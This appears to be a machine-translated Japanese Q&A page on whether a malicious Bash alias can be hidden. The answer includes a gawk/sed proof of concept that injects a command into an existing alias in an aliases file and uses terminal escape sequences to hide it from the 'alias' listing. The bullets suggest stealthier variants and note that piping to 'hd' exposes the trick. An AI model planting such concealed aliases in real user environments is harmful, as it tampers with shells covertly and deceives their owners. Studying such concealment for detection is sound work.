web-dev-qa-db-ja.com

Linux上のBashで悪意のあるエイリアスを隠すことは可能ですか?

LinuxシステムのBashに悪意のあるエイリアスの存在を隠し、ユーザーが知らないうちに実行することは可能ですか?

aliasコマンドを使用してエイリアス定義を表示する場合は、既存のエイリアスを悪意のあるエイリアスに追加し、カーソルの動きを使用して非表示にすることで、これを行うことができます。これは完全に確実な方法ではありませんが、しばらくの間検出されない可能性があります。 aliasからhdをパイピングすると、エイリアスにエスケープシーケンス(カーソルの移動)があるかどうかがわかります。悪意のあるコマンドをエイリアスに挿入する方法の概念実証は次のとおりです。

alias | gawk 'BEGIN {
        FS = "[ =\047]"
        db = "\\"; sp = db " "; amp = db "&"
        sq= "\047"; bell = "\007"; esc = "\033"
    } 
    NR == 3 { len1 = length($2) }
    NR == 4 {
        alias = $2
        orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
        orig = gensub(" ", db sp, "g", orig)
    }
    END {
        hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
        for(i=1; i<len1; i++) {hide = hide esc "[C"}
        cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
    system(cmd)
    }'
  • sedコマンドは、「エイリアス」と呼ばれるファイルを適切に変更します。このタイプの実際のスクリプトは、実際のスクリプトファイルを変更して、悪意のあるエイリアスが次に実行されたときにアクティブになるようにします。
  • この例の悪意のある部分は、ターミナルベルを鳴らすだけなので、機能していることがわかります。
  • 元々エイリアスされているコマンドは、引数としてhideの内容を使用して実行されるため、 この質問 で報告されたものと同様のエラーが発生する可能性があると考えられます。元の部分と悪意のある部分を逆にしてこれに影響を与える可能性がありますが、これはエイリアスに提供される引数に干渉します。上記のスクリプトで、引数の終わりを--でマークしようとします。
  • 元の部分と悪意のある部分を&&で連鎖させる代わりに、次の部分にパイプして、悪意のあるスクリプト(上記の単純なechoコマンドで表される)をstdinとして機能させることができます。 stdoutパススルーを使用して、データが通過するときにデータを変更するか、他のリダイレクトに干渉しないことでデータの存在をさらに非表示にします。
  • 別の可能性は、代わりに、悪意のあるスクリプト内に元のエイリアスを含めることです。これにより、引数リストからカーソル移動文字列が削除され、残りが元のスクリプトに渡される可能性があります。
  • レコード3と4を任意に選択しましたが、よりインテリジェントなコードで特定のエイリアスをターゲットにすることができますが、それらは隣接している必要があります(または、カーソルの移動がより複雑になる可能性があります)。
  • hide文字列を変更して、さまざまなカーソルの動きと元のエイリアスのテキストを含めることができるため、aliasコマンドは、悪意のある部分と一緒に非表示にするのではなく、変更されていないエイリアスを表示するように見えます。
  • 記述どおりに試すには、少なくとも4つのアクティブなエイリアスが必要です。このスクリプトを実行してから、結果のファイルを. aliasesで取得します。次に、影響を受けるエイリアスを使用して、alias|hdを実行したときにどのように表示されるかを確認できます。
  • これは間違いなく100の異なる方法で書き直すことができます-すべてより良いです。
  • このタイプの脅威はどの程度現実的ですか?手がかりがありません。しかし、私がそれを行うことができれば...